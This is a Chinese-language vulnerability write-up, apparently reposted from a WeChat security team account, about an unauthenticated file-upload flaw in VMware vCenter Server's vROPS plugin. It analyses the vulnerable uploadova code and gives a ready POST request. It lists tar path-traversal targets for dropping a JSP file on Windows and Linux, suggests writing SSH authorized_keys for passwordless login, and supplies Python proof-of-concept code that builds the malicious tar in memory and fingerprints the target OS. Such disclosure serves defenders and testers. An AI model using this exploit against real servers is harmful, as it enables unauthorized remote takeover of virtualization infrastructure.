漏洞描述
vSphere Client(HTML5) 在 vCenter Server 插件中存在一个未授权的上传API接口。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,或向Linux系统的指定目录写入ssh 私钥,进而控制服务器。
影响范围
vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
vmware:vcenter_server 6.5 U3n 之前的 6.5 版本
漏洞分析
vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();
代码逻辑是将 TAR 文件解压后上传到
/tmp/unicorn_ova_dir
目录。注意到如下代码:
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
直接将 TAR 的文件名与
/tmp/unicorn_ova_dir
拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历
tips:
如果是Linux系统,并且开放了ssh端口,可上传Linux的ssh 私钥,直接免密登录系统,创建一个包含../../home/vsphere-ui/.ssh/authorized_keys
的 TAR 文件,上传后实现SSH免密 登陆。
漏洞验证
验证踩坑:
确认POST包都没问题,但上传总是返回FAILED,测试发现是上传的tar包没对应好操作系统。个人推测这里应该是解压的时候,不存在的目录也不会自动创建,导致返回FAILED,所以手工验证的时候要注意。
下边POST包中,【上传的TAR包内容】部分内容,不能直接复制,不能更改,要借用本地的文件上传环境抓包,修改URI和HOST。
POST包:
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: multipart/form-data; boundary=---------------------------211802199140467231863335463058
Content-Length: 2796
Connection: close
-----------------------------211802199140467231863335463058
Content-Disposition: form-data; name="uploadFile"; filename="Linux_t.tar"
Content-Type: application/x-tar
【上传的TAR包内容】
-----------------------------211802199140467231863335463058--
TAR包中的目录格式,../可以在创建好tar文件后,使用压缩软件打开tar文件,创建../名称的目录。
Windows系统的为:
../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp
Linux系统的为:
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp
上传文件的位置,Windows系统的为:
https://ip:port/statsreport/test.jsp
Linux系统的为:
https://ip:port/ui/resources/test.jsp
部分poc脚本
踩坑一:
实现在内存中生成tar文件,上传的时候不落地文件,其中用到了tarfile.open,关键是其中的fileobj参数,以及TarInfo和addfile。在本地的文件上传环境中不断尝试才成功。
踩坑二:
内存中操作数据的时候,一定要在读取数据的时候使用seek移动读取的位置,默认是数据写到哪,就在哪个位置读取,不用seek的话,一般读到的都是空。
提一下脚本中重要部分的内容:
内存中创建tar文件,并直接被调用(判断操作系统类型的部分可以删除)
import tarfile
import io
# 内存生成poc tar文件
def content_poc(target):
windows_filename = "../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp"
linux_filename = "../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp"
content = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.print("12211212");
%>"""
system_type = ve_system_poc(target)
if system_type is not None:
mem_string = io.BytesIO()
# tr_file = tarfile.TarFile(fileobj=mem_string,mode='w')
tr_file = tarfile.open(fileobj=mem_string, mode='w')
if system_type == "windows":
info = tarfile.TarInfo(name=windows_filename)
info.size = len(content)
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
tr_file.close()
elif system_type == "linux":
info = tarfile.TarInfo(name=linux_filename)
info.size = len(content)
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
tr_file.close()
return mem_string,system_type
mem_string,system_type = content_poc(target)
# 移动到最开始的位置
mem_string.seek(0)
# 读取内存中的tar文件内容以供上传使用
mem_string.read()
判断操作系统类型,原理就是Windows大小写不敏感,Linux大小写敏感:
import requests
# 判断系统类型1
def ve_system(target):
ve_url = target + '/Ui/vropspluginui/rest/services/uploadova'
res1 = requests.get(ve_url, headers=headers, verify=False, timeout=5)
return res1.status_code
# 判断系统类型2
def ve_system_poc(target):
vurl = target + '/ui/vropspluginui/rest/services/uploadova'
ve_res = requests.get(vurl, headers=headers, verify=False, timeout=5)
if ve_res.status_code == 405:
if ve_system(target) == ve_res.status_code:
return "windows"
else:
return "linux"
else:
return None
原文始发于微信公众号(Wings安全团队):Vmware Vcenter前台任意文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论